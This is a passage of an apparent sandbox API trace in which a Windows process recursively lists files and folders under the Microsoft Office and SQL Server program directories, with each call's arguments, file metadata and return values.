ftCreationTime.dwLowDateTime=0x2a7bd7ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a7bd7ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a7e39eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c42, dwReserved0=0x0, dwReserved1=0x0, cFileName="trdtv2r41.xsl", cAlternateFileName="TRDTV2~1.XSL")) returned 1 [0288.615] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a7bd7ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a7bd7ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a7e39eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c42, dwReserved0=0x0, dwReserved1=0x0, cFileName="trdtv2r41.xsl", cAlternateFileName="TRDTV2~1.XSL")) returned 0 [0288.615] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0288.616] GetProcessHeap () returned 0xaf0000 [0288.616] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a72870 | out: hHeap=0xaf0000) returned 1 [0288.616] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2a7e39eb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17beb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0288.616] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2adffa3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x395ec40, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0288.616] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf630892f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf630892f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x785a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0288.616] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x63a229e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x63a229e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b0a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap110.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1 [0288.616] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc692f34, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc692f34, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc692f34, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x484b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui110.dll", cAlternateFileName="MSOLUI~1.DLL")) returned 1 [0288.616] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0288.617] GetProcessHeap () returned 0xaf0000 [0288.617] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a72870 [0288.617] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\*", lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0288.617] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0288.617] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee45f66d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0288.617] GetProcessHeap () returned 0xaf0000 [0288.617] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a82878 [0288.617] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\*", lpFindFileData=0x2fce238 | out: lpFindFileData=0x2fce238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee45f66d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3a937f0 [0288.617] FindNextFileW (in: hFindFile=0x3a937f0, lpFindFileData=0x2fce238 | out: lpFindFileData=0x2fce238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee45f66d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0288.617] FindNextFileW (in: hFindFile=0x3a937f0, lpFindFileData=0x2fce238 | out: lpFindFileData=0x2fce238*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee308135, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcae6392, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1132d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0288.617] FindNextFileW (in: hFindFile=0x3a937f0, lpFindFileData=0x2fce238 | out: lpFindFileData=0x2fce238*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c70, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrvi.rll", cAlternateFileName="")) returned 1 [0288.618] FindNextFileW (in: hFindFile=0x3a937f0, lpFindFileData=0x2fce238 | out: lpFindFileData=0x2fce238*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb59528e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3728, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui110.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 1 [0288.618] FindNextFileW (in: hFindFile=0x3a937f0, lpFindFileData=0x2fce238 | out: lpFindFileData=0x2fce238*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb59528e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3728, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui110.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 0 [0288.618] FindClose (in: hFindFile=0x3a937f0 | out: hFindFile=0x3a937f0) returned 1 [0288.618] GetProcessHeap () returned 0xaf0000 [0288.618] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a82878 | out: hHeap=0xaf0000) returned 1 [0288.618] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee45f66d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0288.618] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0288.618] GetProcessHeap () returned 0xaf0000 [0288.618] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a72870 | out: hHeap=0xaf0000) returned 1 [0288.618] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa50bd2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b050, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLDumper.exe", cAlternateFileName="SQLDUM~1.EXE")) returned 1 [0288.618] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4692737, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18016f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmsrv.dll", cAlternateFileName="")) returned 1 [0288.618] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4692737, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18016f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmsrv.dll", cAlternateFileName="")) returned 0 [0288.618] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0288.618] GetProcessHeap () returned 0xaf0000 [0288.618] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0288.619] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ae4bf10, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0 [0288.619] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0288.619] GetProcessHeap () returned 0xaf0000 [0288.619] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0288.619] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0288.620] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0288.620] GetProcessHeap () returned 0xaf0000 [0288.620] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0288.620] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e11c27d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~3")) returned 1 [0288.620] GetProcessHeap () returned 0xaf0000 [0288.620] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0288.621] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Office\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e11c27d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0288.621] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e11c27d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0288.621] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e11c27d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0288.621] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0288.621] GetProcessHeap () returned 0xaf0000 [0288.621] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0288.621] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~2")) returned 1 [0288.621] GetProcessHeap () returned 0xaf0000 [0288.622] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0288.622] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0288.622] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0288.622] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 1 [0288.622] GetProcessHeap () returned 0xaf0000 [0288.622] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0288.622] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\110\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0288.623] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0288.623] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 1 [0288.623] GetProcessHeap () returned 0xaf0000 [0288.623] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0288.623] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\110\\Shared\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0288.623] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0288.623] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc5d437d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="msasxpress.dll", cAlternateFileName="MSASXP~1.DLL")) returned 1 [0288.624] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc5d437d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="msasxpress.dll", cAlternateFileName="MSASXP~1.DLL")) returned 0 [0288.624] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0288.624] GetProcessHeap () returned 0xaf0000 [0288.624] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0288.624] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 0 [0288.624] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0288.624] GetProcessHeap () returned 0xaf0000 [0288.624] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0288.624] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0 [0288.625] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0288.625] GetProcessHeap () returned 0xaf0000 [0288.625] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0288.625] FindNextFileW (in: hFindFile=0xb02c08, 